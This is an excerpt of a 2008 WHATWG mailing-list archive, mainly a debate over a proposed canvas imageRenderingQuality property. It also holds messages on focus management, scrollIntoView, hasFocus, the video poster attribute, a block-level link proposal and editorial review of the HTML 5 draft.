From oliver at apple.com  Mon Jun  2 14:39:46 2008
From: oliver at apple.com (Oliver Hunt)
Date: Mon, 2 Jun 2008 14:39:46 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
Message-ID: <E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>

That's exactly what i would be afraid of people doing.  If I have a  
fast system why should i have to experience low quality rendering?  It  
should be the job of the platform to determine what level of  
performance or quality can be achieved on a given device.  Typically  
such a property would be considered a "hint", and as such would likely  
be ignored.

If honouring this property was _required_ rather than being a hint you  
would hit the following problems:
* Low power devices would have a significant potential for poor  
performance if a developer found that their desktop performed well so  
set the requirement to high quality.
* High power devices would be forced to use low quality rendering  
modes when perfectly capable of providing better quality without  
significant performance penalty.

Neither of these apply if the property were just a hint, but now you  
have to think about what happens to content that uses this property in  
18 months time.  You've told the UA to use a low quality rendering  
when it may no longer be necessary, so now the UA has a choice it  
either always obeys the property meaning lower quality than is  
necessary so that new content performs well, or it ignores the  
property in which case new content performs badly.

The correct behaviour would be for the UA to work out itself what it  
can do, which it needs to be able to do anyway, in order to satisfy  
the "auto" option.

--Oliver

On Jun 2, 2008, at 2:15 PM, Vladimir Vukicevic wrote:

>
> Sure; bilinear filtering is slower than nearest neighbour sampling,  
> and in many cases the app author would like to be able to decide  
> that tradeoff (or, at least, to be able to say "I want this to go as  
> fast as possible, regardless of quality").  Some apps might also  
> render to a canvas just once, and would prefer to do it at the  
> highest quality filtering available even if it's more expensive than  
> the default.
>
>    - Vlad
>
> On Jun 2, 2008, at 12:25 PM, Oliver Hunt wrote:
>> Um, could you actually give some kind of reasoning for these?  I am  
>> not aware of any significant performance issues in Canvas that  
>> cannot be almost directly attributed to JavaScript itself rather  
>> than the canvas.
>>
>> --Oliver
>>
>> On Jun 2, 2008, at 12:19 PM, Vladimir Vukicevic wrote:
>>
>>>
>>> I'd like to propose adding an imageRenderingQuality property on  
>>> the canvas 2D context to allow authors to choose speed vs. quality  
>>> when rendering images (especially transformed ones).  This is  
>>> modeled on the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
>>> :
>>>
>>> attribute string imageRenderingQuality;
>>>
>>> 'auto' (default): The user agent shall make appropriate tradeoffs  
>>> to balance speed and quality, but quality shall be given more  
>>> importance than speed.
>>>
>>> 'optimizeQuality': Emphasize quality over rendering speed.
>>>
>>> 'optimizeSpeed': Emphasize speed over rendering quality.
>>>
>>> No specific image sampling algorithm is specified for any of these  
>>> properties, with the exception that, at a minimum, nearest- 
>>> neighbour resampling should be used.  One alternative is to  
>>> specify 'best', 'good', 'fast', with "good" being the default, as  
>>> opposed to the SVG names; I think those names are more  
>>> descriptive, but there might be value in keeping the names  
>>> consistent with SVG, especially if that property bubbles up into  
>>> general CSS usage.
>>>
>>>  - Vlad
>>>
>>
>



From vladimir at pobox.com  Mon Jun  2 14:57:41 2008
From: vladimir at pobox.com (Vladimir Vukicevic)
Date: Mon, 2 Jun 2008 14:57:41 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
Message-ID: <74AA47E6-2B0F-41A9-B1FC-5FFAB66D02EF@pobox.com>


On Jun 2, 2008, at 2:39 PM, Oliver Hunt wrote:
> That's exactly what i would be afraid of people doing.  If I have a  
> fast system why should i have to experience low quality rendering?   
> It should be the job of the platform to determine what level of  
> performance or quality can be achieved on a given device.  Typically  
> such a property would be considered a "hint", and as such would  
> likely be ignored.
>
> If honouring this property was _required_ rather than being a hint  
> you would hit the following problems:
> * Low power devices would have a significant potential for poor  
> performance if a developer found that their desktop performed well  
> so set the requirement to high quality.
> * High power devices would be forced to use low quality rendering  
> modes when perfectly capable of providing better quality without  
> significant performance penalty.
> Neither of these apply if the property were just a hint, but now you  
> have to think about what happens to content that uses this property  
> in 18 months time.  You've told the UA to use a low quality  
> rendering when it may no longer be necessary, so now the UA has a  
> choice it either always obeys the property meaning lower quality  
> than is necessary so that new content performs well, or it ignores  
> the property in which case new content performs badly.

If web apps misuse the property, then bugs should be filed on those  
apps that incorrectly use the property, and the app developer should  
fix them.  The web platform shouldn't prevent developers from  
exercising control over how their content is rendered; most  
developers, as you say, probably shouldn't change anything from the  
default 'auto'.  But the capability should be there.  Arbitrarily  
deciding what developers can and can't do isn't interesting from the  
perspective of creating a full-featured platform, IMO.

No matter how fast smooth/bilinear filtering is, something more  
complex is always going to be slower, and something less complex is  
always going to be faster.  If those perf differences are significant  
to the web app, no matter how small, you're going to want to be able  
to have that control.  If they're not, then you should just be using  
'auto' and let the UA handle it.

     - Vlad

> On Jun 2, 2008, at 2:15 PM, Vladimir Vukicevic wrote:
>
>>
>> Sure; bilinear filtering is slower than nearest neighbour sampling,  
>> and in many cases the app author would like to be able to decide  
>> that tradeoff (or, at least, to be able to say "I want this to go  
>> as fast as possible, regardless of quality").  Some apps might also  
>> render to a canvas just once, and would prefer to do it at the  
>> highest quality filtering available even if it's more expensive  
>> than the default.
>>
>>   - Vlad
>>
>> On Jun 2, 2008, at 12:25 PM, Oliver Hunt wrote:
>>> Um, could you actually give some kind of reasoning for these?  I  
>>> am not aware of any significant performance issues in Canvas that  
>>> cannot be almost directly attributed to JavaScript itself rather  
>>> than the canvas.
>>>
>>> --Oliver
>>>
>>> On Jun 2, 2008, at 12:19 PM, Vladimir Vukicevic wrote:
>>>
>>>>
>>>> I'd like to propose adding an imageRenderingQuality property on  
>>>> the canvas 2D context to allow authors to choose speed vs.  
>>>> quality when rendering images (especially transformed ones).   
>>>> This is modeled on the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
>>>> :
>>>>
>>>> attribute string imageRenderingQuality;
>>>>
>>>> 'auto' (default): The user agent shall make appropriate tradeoffs  
>>>> to balance speed and quality, but quality shall be given more  
>>>> importance than speed.
>>>>
>>>> 'optimizeQuality': Emphasize quality over rendering speed.
>>>>
>>>> 'optimizeSpeed': Emphasize speed over rendering quality.
>>>>
>>>> No specific image sampling algorithm is specified for any of  
>>>> these properties, with the exception that, at a minimum, nearest- 
>>>> neighbour resampling should be used.  One alternative is to  
>>>> specify 'best', 'good', 'fast', with "good" being the default, as  
>>>> opposed to the SVG names; I think those names are more  
>>>> descriptive, but there might be value in keeping the names  
>>>> consistent with SVG, especially if that property bubbles up into  
>>>> general CSS usage.
>>>>
>>>> - Vlad
>>>>
>>>
>>
>



From hyatt at apple.com  Mon Jun  2 15:07:24 2008
From: hyatt at apple.com (David Hyatt)
Date: Mon, 02 Jun 2008 17:07:24 -0500
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <74AA47E6-2B0F-41A9-B1FC-5FFAB66D02EF@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<74AA47E6-2B0F-41A9-B1FC-5FFAB66D02EF@pobox.com>
Message-ID: <9535C487-0F29-4D93-B77A-2992D4784CFE@apple.com>

On Jun 2, 2008, at 4:57 PM, Vladimir Vukicevic wrote:

>
> On Jun 2, 2008, at 2:39 PM, Oliver Hunt wrote:
>> That's exactly what i would be afraid of people doing.  If I have a  
>> fast system why should i have to experience low quality rendering?   
>> It should be the job of the platform to determine what level of  
>> performance or quality can be achieved on a given device.   
>> Typically such a property would be considered a "hint", and as such  
>> would likely be ignored.
>>
>> If honouring this property was _required_ rather than being a hint  
>> you would hit the following problems:
>> * Low power devices would have a significant potential for poor  
>> performance if a developer found that their desktop performed well  
>> so set the requirement to high quality.
>> * High power devices would be forced to use low quality rendering  
>> modes when perfectly capable of providing better quality without  
>> significant performance penalty.
>> Neither of these apply if the property were just a hint, but now  
>> you have to think about what happens to content that uses this  
>> property in 18 months time.  You've told the UA to use a low  
>> quality rendering when it may no longer be necessary, so now the UA  
>> has a choice it either always obeys the property meaning lower  
>> quality than is necessary so that new content performs well, or it  
>> ignores the property in which case new content performs badly.
>
> If web apps misuse the property, then bugs should be filed on those  
> apps that incorrectly use the property, and the app developer should  
> fix them.  The web platform shouldn't prevent developers from  
> exercising control over how their content is rendered; most  
> developers, as you say, probably shouldn't change anything from the  
> default 'auto'.  But the capability should be there.  Arbitrarily  
> deciding what developers can and can't do isn't interesting from the  
> perspective of creating a full-featured platform, IMO.
>
> No matter how fast smooth/bilinear filtering is, something more  
> complex is always going to be slower, and something less complex is  
> always going to be faster.  If those perf differences are  
> significant to the web app, no matter how small, you're going to  
> want to be able to have that control.  If they're not, then you  
> should just be using 'auto' and let the UA handle it.

I completely agree.  Almost any feature can be abused.  It's not our  
job to withhold features just because they can be abused.  It's also  
worth pointing out that this is a common graphical knob supported by  
Cairo and CoreGraphics.  It is a proprietary MS CSS property and an  
SVG CSS property.  In other words, it seems to be a pretty widely  
implemented feature and as such seems like it would be a worthwhile  
addition to canvas.

If we add this, we should also add support for text rendering quality  
as well, since canvas is picking up the ability to draw text.

dave
(hyatt at apple.com)



From robert at ocallahan.org  Mon Jun  2 15:14:08 2008
From: robert at ocallahan.org (Robert O'Callahan)
Date: Tue, 3 Jun 2008 10:14:08 +1200
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <68F64E2B-C0BD-4348-BE7C-E7708DC13CF8@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0DE7ED6-DF22-4334-A073-BBA8B2ADEDE8@apple.com>
	<68F64E2B-C0BD-4348-BE7C-E7708DC13CF8@pobox.com>
Message-ID: <11e306600806021514j27cf4a95jdb11a00905f73e04@mail.gmail.com>

On Tue, Jun 3, 2008 at 9:34 AM, Vladimir Vukicevic <vladimir at pobox.com>
wrote:

>
> Yeah, I agree -- I thought that there was some plan somewhere to uplift a
> bunch of these SVG CSS properties into general usage?  I know that Gecko
> uplifted text-rendering, we should figure out what else makes sense to pull
> up.


Sort of off topic, but as you said, we uplifted 'text-rendering' in Gecko
1.9. I'm experimenting with 'clip-path', 'mask' and 'filter'. We're also
looking at uplifting 'pointer-events'. For the non-hint properties we have
to be more careful because it needs to be specified what they mean for
non-SVG content; uplifting the hint properties is a lot easier.

Rob
-- 
"He was pierced for our transgressions, he was crushed for our iniquities;
the punishment that brought us peace was upon him, and by his wounds we are
healed. We all, like sheep, have gone astray, each of us has turned to his
own way; and the LORD has laid on him the iniquity of us all." [Isaiah
53:5-6]
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080603/ca01a590/attachment-0001.htm>

From robert at ocallahan.org  Mon Jun  2 15:19:29 2008
From: robert at ocallahan.org (Robert O'Callahan)
Date: Tue, 3 Jun 2008 10:19:29 +1200
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
Message-ID: <11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>

On Tue, Jun 3, 2008 at 9:39 AM, Oliver Hunt <oliver at apple.com> wrote:

> That's exactly what i would be afraid of people doing.  If I have a fast
> system why should i have to experience low quality rendering?  It should be
> the job of the platform to determine what level of performance or quality
> can be achieved on a given device.


Right, it is. The user-agent is free to map all property values to "maximum
quality".


> Typically such a property would be considered a "hint", and as such would
> likely be ignored.


Ignored by who?

Neither of these apply if the property were just a hint, but now you have to
> think about what happens to content that uses this property in 18 months
> time.  You've told the UA to use a low quality rendering when it may no
> longer be necessary, so now the UA has a choice it either always obeys the
> property meaning lower quality than is necessary so that new content
> performs well, or it ignores the property in which case new content performs
> badly.


If the quality knob is no longer necessary, why would new content perform
badly?

These hint properties are opt-in for UAs. If you don't like the idea, just
treat all values as "auto".

Rob
-- 
"He was pierced for our transgressions, he was crushed for our iniquities;
the punishment that brought us peace was upon him, and by his wounds we are
healed. We all, like sheep, have gone astray, each of us has turned to his
own way; and the LORD has laid on him the iniquity of us all." [Isaiah
53:5-6]
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080603/8b87c76f/attachment-0001.htm>

From oliver at apple.com  Mon Jun  2 15:52:39 2008
From: oliver at apple.com (Oliver Hunt)
Date: Mon, 2 Jun 2008 15:52:39 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
Message-ID: <AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>


On Jun 2, 2008, at 3:19 PM, Robert O'Callahan wrote:

> On Tue, Jun 3, 2008 at 9:39 AM, Oliver Hunt <oliver at apple.com> wrote:
> That's exactly what i would be afraid of people doing.  If I have a  
> fast system why should i have to experience low quality rendering?   
> It should be the job of the platform to determine what level of  
> performance or quality can be achieved on a given device.
>
> Right, it is. The user-agent is free to map all property values to  
> "maximum quality".
>
> Typically such a property would be considered a "hint", and as such  
> would likely be ignored.
>
> Ignored by who?

Given a few years all UA's as the majority of content saying "low  
quality" will be old, and therefore targeting slower UAs and platforms  
(given moore's law, and the fact that all UAs are currently getting  
faster this seems a reasonable assertion) so respecting it would mean  
the majority of sites using low quality mode would not need to.

>
>
> Neither of these apply if the property were just a hint, but now you  
> have to think about what happens to content that uses this property  
> in 18 months time.  You've told the UA to use a low quality  
> rendering when it may no longer be necessary, so now the UA has a  
> choice it either always obeys the property meaning lower quality  
> than is necessary so that new content performs well, or it ignores  
> the property in which case new content performs badly.
>
> If the quality knob is no longer necessary, why would new content  
> perform badly?
The issue is not that certain operations are slower than others, the  
issue is that anything that requires the developer to choose between  
performance/quality is going to become obsolete as the performance  
trade offs are constantly moving and are not the same from UA to UA,  
from platform to platform.  I think the issue of performance is a  
complex one that will not benefit in the long term from a simple on  
off switch.  Conceivably we could introduce new rendering primitives,  
such as CanvasSprite, CanvasLayer, or some such which would, i  
suspect, provide a similar benefit, but be more resilient in the face  
of changing performance characteristics.

> Rob

--Oliver

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080602/8a7b7d7e/attachment-0001.htm>

From ernestcline at mindspring.com  Mon Jun  2 19:04:31 2008
From: ernestcline at mindspring.com (Ernest Cline)
Date: Mon, 2 Jun 2008 22:04:31 -0400 (GMT-04:00)
Subject: [whatwg] Proposal for a link attribute to replace <a href>
Message-ID: <9900645.1212458671611.JavaMail.root@mswamui-bichon.atl.sa.earthlink.net>



-----Original Message-----
>From: Anne van Kesteren <annevk at opera.com>
>Sent: Jun 2, 2008 5:39 AM
>
>On Mon, 02 Jun 2008 05:26:40 +0200, Ernest Cline  
><ernestcline at mindspring.com> wrote:
>>> The <a> element can already do this and it would be backwards  
>>> compatible.
>>
>> Backwards compatible with some user agents but not with the specs.
>
>Sure, but <anchor> is not backwards compatible with specs or user agents.
>

That might be a reason to adjust the spec for <a> to have it match current behavior, but in my opinion it would be better to provide for the block/inline distinction to be handled with recourse to CSS by having separate elements as is the case for <div>/<span>.  There are alternatives to obtain this behavior in old browsers without using <a> in a block context, so the loss of backward compatibility would be a minor issue at most.

That said, adjusting the spec to have <a> follow current behavior would be better than leaving the spec as it is and not have any spec compliant method to provide a block level hyperlink without the use of scripting.


From jens at meiert.com  Tue Jun  3 02:09:03 2008
From: jens at meiert.com (Jens Meiert)
Date: Tue, 3 Jun 2008 11:09:03 +0200
Subject: [whatwg] Spec review results I
Message-ID: <9fbcac550806030209j2b006334qc26edf9174d8ac68@mail.gmail.com>

Since currently reviewing and proof-reading the HTML 5 spec draft
(again) I'm feeling free to send (rather non-technical) /suggestions/
and eventual typos to this list. This tiny first part refers to CVS
revision 1.904 [1].

* Please drop "or the idea that the working group should even spend
time discussing the concept of that section" as this is unnecessarily
judgmental.

* Change order of change history locations [2] (inverting the order
seems to make sense to put more emphasis on CVS/SVN access than on
Twitter).

* Remove emphasis from "This" in "This specification aims to extend
HTML so that it is also suitable in these contexts" [3] (and probably
use "The HTML 5 specification" instead of "This") as this
unnecessarily seems to judge XHTML 2.

* Better write "HTML documents do not exist in a vacuum. This section
?" instead of "HTML documents do not exist in a vacuum ? this section
?" [4].

* In the same section [4] it might be fine to drop the first half of
the Language Syntax description, "All of these features would be for
naught if they couldn't be represented in a serialized form and sent
to other people, and so ?".

* Add a period behind "etc" (many occurrences), as I Merriam-Webster
[5] and Wikipedia [6] seem to confirm ("Typically, the abbreviated
versions should always be followed by a full stop").

* In the conformance section [7], "if errors have been so preserved"
might be rephrased to "if errror have been preserved this way" or the
like (not too sure about it, but the current phrase sounded strange to
my non-native ears).

* Please simplify the "Unless otherwise specified ?" exception notes
[8] as there is a lot of redundancy.


[1] http://dev.w3.org/cvsweb/~checkout~/html5/spec/Overview.html?rev=1.904
[2] http://dev.w3.org/cvsweb/~checkout~/html5/spec/Overview.html?rev=1.904#status
[3] http://dev.w3.org/cvsweb/~checkout~/html5/spec/Overview.html?rev=1.904#relationship0
[4] http://dev.w3.org/cvsweb/~checkout~/html5/spec/Overview.html?rev=1.904#structure
[5] http://www.merriam-webster.com/dictionary/etc
[6] http://en.wikipedia.org/wiki/Et_cetera
[7] http://dev.w3.org/cvsweb/~checkout~/html5/spec/Overview.html?rev=1.904#conformance
[8] http://dev.w3.org/cvsweb/~checkout~/html5/spec/Overview.html?rev=1.904#common

-- 
Jens Meiert
http://meiert.com/en/

From ian at hixie.ch  Tue Jun  3 04:19:04 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 3 Jun 2008 11:19:04 +0000 (UTC)
Subject: [whatwg] Focus management
In-Reply-To: <04400439-8B43-44D2-95AD-FDDBE2E7AA26@mac.com>
References: <04400439-8B43-44D2-95AD-FDDBE2E7AA26@mac.com>
Message-ID: <Pine.LNX.4.62.0806031103030.8559@hixie.dreamhostps.com>

On Fri, 4 May 2007, Simon Fraser wrote:
>
> Some web applications may need more control over focus than is offered 
> by the existing focus management proposal: 
> <http://www.whatwg.org/specs/web-apps/current-work/#focus>
> 
> Specifically, it's hard to write JavaScript that has more explicit 
> control over focus changes. Functionality that is missing (but often 
> included in native UI toolkits) includes:
> 
> * Focus chain queries
>     need the ability to ask the document what the next/previous focusable
>     element is from a given element, or from null (first/last focusable
>     element).
> 
> * Is element focusable
>     need to be able to ask an element if it can take focus. Focusability is
>     currently some function of element type, tabindex, visibility,
>     contentEditability, UA preferenes etc, and it's hard to write JS
>     that computes this.
> 
> * Explicit advance/rewind focus
>     need to be able to move focus to the next/previous focusable
>     element without having explicit knowledge of what the next
>     element is (this mirrors what happens when the user hits the Tab
>     or Shift-Tab keys).
> 
>     (If nextFocus()/previousFocus() are available, this could be achieved with
>         document.nextFocus(document.activeElement).focus(),
>      but that seems a little long-winded.)

Could you elaborate on the use cases for these? I'd rather not add these 
features just because other environments have them, but if there are good 
reasons to have them, I'd naturally be happy to add them.


> In addition, I'd like to see a few clarifications in the "Focus management"
> section of the Web Applications draft:
> 
> * What does focus() do on an unfocusable element? Does the previously
>   focused element remain focused?

This is now clarified, hopefully.


> * document.activeElement has some ambiguities:
>     - Is it valid when the window does not have focus?

Does this sentence in an earlier sentence answer this unambigiously?:

# Which element(s) within a top-level browsing context currently has focus 
# must be independent of whether or not the top-level browsing context 
# itself has the system focus.


>     - IE has a setActive() method that changes the activeElement, but
>         does not change the focus. So the activeElement is not always
>         the focused element.

Should we specify setActive()?

Does it just set which element would be focused if the document were to 
get focus?

As defined, activeElement just returns the element _within the document_ 
that is focued, that might not be the element with system focus if another 
document has the system focus.


> * how does display: none or visibility: hidden interact with focus?
>     - can non-rendered elements be focused?

No (this is explicit now, though it could probably be clearer).


>     - if a focused element becomes unrendered, does focus move to the
>       next focusable element?

No (this is implicit in that it becomes an unfocusable element and thus 
can't be focused, but the focus doesn't go anywhere in particular, 
there's just not focused element).


> Finally I'd like to see some discussion around focus() and window activation.
> window.focus() obviously (and annoyingly) activates the window, but should
> focussing an element inside a window raise the window? What happens if
> that window is a hidden tab in a tabbed browser?

window.focus() isn't in HTML5 as there doesn't appear to be a valid use 
case for it and it is too abusable, and thus shouldn't be supported. If 
pages depend on it being supported we could make it a no-op, I guess.

Focusing an element inside a window should raise the window or hidden tab 
at the UA's discretion. I don't know that there's anything we need to 
explicitly say about that.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Tue Jun  3 04:21:52 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 3 Jun 2008 11:21:52 +0000 (UTC)
Subject: [whatwg] HTML5 Feedback: Section 3.5.2 Focus
In-Reply-To: <1959130b0710082158s1e6ec7dqe89a42eee4a07965@mail.gmail.com>
References: <1959130b0710082158s1e6ec7dqe89a42eee4a07965@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806031121080.8559@hixie.dreamhostps.com>

On Mon, 8 Oct 2007, Brad Fults wrote:
>
> A few things in Section 3.5.2:
> 
> "There is always an element focused; in the absence of other elements 
> being focused, the document's root element is it." [1]
> 
> This sentence is awkwardly worded and as far as I can tell, "document's 
> root element" is referenced but not defined anywhere. It might be better 
> as something like:
> 
> "There is always a single element with focus. If no other element in the 
> document has focus, focus is given to the document's root element -- in 
> this case the body element."
> 
> That is assuming, of course, that the body element is indeed the element 
> that is to receive focus when no other element is focused. I'm not 
> thrilled with this wording either, but it is an incremental improvement 
> in comprehensibility.

This section got rewritten recently and the above text is no longer there 
in that form. Let me know if it's still broken in your opinion.


> "If no element specifically has focus, this must return the body 
> element." [2]
> 
> This sentence references "the body element" (with proper linking to its 
> definition). Is the intention here to distinguish "the body element" 
> from "the document's root element" mentioned in the previous quote? If 
> so, it's not clear what the distinction is or why it is present. If not, 
> these two sentences should use the same terminology.

Fixed as part of the earlier changes.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Tue Jun  3 04:33:28 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 3 Jun 2008 11:33:28 +0000 (UTC)
Subject: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
 view
In-Reply-To: <1959130b0710082211m7a3fff53v9d6601fd2a81a193@mail.gmail.com>
References: <1959130b0710082211m7a3fff53v9d6601fd2a81a193@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>

On Mon, 8 Oct 2007, Brad Fults wrote:
>
> There are a couple of problems I have found in this section.
> 
> "If it isn't possible to show the entire element in that way, or if the 
> argument is omitted or is true, then the user agent must instead simply 
> align the top of the element with the top of the viewport." [1]
> 
> I have two issues with this text:
> 
>   1. The word "simply" is rhetoric and doesn't seem reasonable or
> useful in the context of this part of the specification.

Removed.


>   2. It may not be possible to align the top of the element with the top 
> of the viewport without scrolling past the bottom of the document, so 
> the "must" is unreasonable. This contingency should be mentioned 
> (scrolling past the bottom of the document is not, as far as I know, 
> desired).

I don't understand what you mean. How can something in the document be 
further down than the bottom of the document?


> Secondly, with respect to this section as a whole, I see no description 
> of necessary behavior for horizontal scrolling. Surely this is an issue 
> that must be addressed, as it would be decidedly deficient if 
> scrollIntoView() only took vertical scrolling into account, leaving 
> horizontally overflown content still outside of the viewport after the 
> method's invocation.

Do UAs do any horizontal scrolling today? I've mentioned it, but I'm not 
sure what to say really.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Tue Jun  3 04:42:04 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 3 Jun 2008 11:42:04 +0000 (UTC)
Subject: [whatwg] HTMLDocument hasFocus - should it be a function?
In-Reply-To: <358B6506-02B1-4559-8DE9-433711C85684@apple.com>
References: <358B6506-02B1-4559-8DE9-433711C85684@apple.com>
Message-ID: <Pine.LNX.4.62.0806031141580.8559@hixie.dreamhostps.com>

On Tue, 4 Mar 2008, Adele Peterson wrote:
>
> I started implementing the hasFocus attribute in WebKit, but then I 
> realized that IE and Firefox 3 both implement it as a function.  Should 
> the spec change to match the existing implementations?

Fixed.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From philipj at opera.com  Tue Jun  3 05:36:57 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Tue, 03 Jun 2008 14:36:57 +0200
Subject: [whatwg] Interpretation of video poster attribute
Message-ID: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>

Hi!

I'm a bit puzzled about how to interpret the poster attribute on
HTMLVideoElement:

"The poster attribute gives the address of an image file that the user
agent can show while no video data is available. The attribute, if
present, must contain a URI (or IRI)."

Is the intention that this image should be stretched to the size of the
video element, or that it should be centered in the frame? If the width
and height attributes are not given, should the video element initially
be given the size of the poster image, or should the user agent wait
until it has the dimensions of the video (thereby making the poster
useless)?

In short, what is the intended use of poster?

-- Philip J?genstedt



From jbanes at gmail.com  Tue Jun  3 07:09:59 2008
From: jbanes at gmail.com (Jerason Banes)
Date: Tue, 3 Jun 2008 09:09:59 -0500
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
Message-ID: <82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>

If you don't mind someone weighing in who's been working with the Nintendo
Wii for the past year and a half, I have found that the "quality" setting in
Flash is tremendously useful. While the march of Moore's law has ensured
that Flash on the desktop is zippy, it has also created a gap whereby
smaller devices are powerful enough to compete with last generation
desktops. For these devices, the quality setting is more than a "nice to
have". It's absolutely critical to obtaining decent performance.

The algorithm's I've used over on WiiCade automatically adjust for high
quality when on the desktop, and low to medium quality when on the Wii. This
provides a more consistent experience to users of both systems. In addition,
many game provide a quality setting in their options screen. (Similar to the
rendering features options in most 3D games.) This allows the user to adjust
the rendering speed manually if he finds his system is too slow or the game
in question is more than fast enough on the Wii.

I can see a quality setting in Javascript used in much the same way. The
site would set the quality of the rendering based on knowledge of particular
platforms. Modern desktops would default to highest quality. Furthermore,
video games (and we all know that's going to be a huge use of Canvas at some
point ;-)) that push the limit of Canvas may allow the user to "shift down"
as it were to compensate for their slower machine or the slow Canvas
rendering of their browser.

I definitely think this setting should be a hint rather than a hard and fast
set of rules. If a UA (especially desktop UAs) wants to ignore the setting,
that's fine. It will cause no appreciable damage. But it will allow for
slower UAs to be tuned for usage. e.g. If I'm looking at charts on my Wii,
I'd rather they be high quality. If I'm playing a video game, the quality
simply does not matter as much.

I hope you will all keep we poor device users in mind when you come to your
decision.

Thanks!
Jerason Banes

On Mon, Jun 2, 2008 at 5:52 PM, Oliver Hunt <oliver at apple.com> wrote:

>
>  Neither of these apply if the property were just a hint, but now you have
>> to think about what happens to content that uses this property in 18 months
>> time.  You've told the UA to use a low quality rendering when it may no
>> longer be necessary, so now the UA has a choice it either always obeys the
>> property meaning lower quality than is necessary so that new content
>> performs well, or it ignores the property in which case new content performs
>> badly.
>
>
> If the quality knob is no longer necessary, why would new content perform
> badly?
>
> The issue is not that certain operations are slower than others, the issue
> is that anything that requires the developer to choose between
> performance/quality is going to become obsolete as the performance trade
> offs are constantly moving and are not the same from UA to UA, from platform
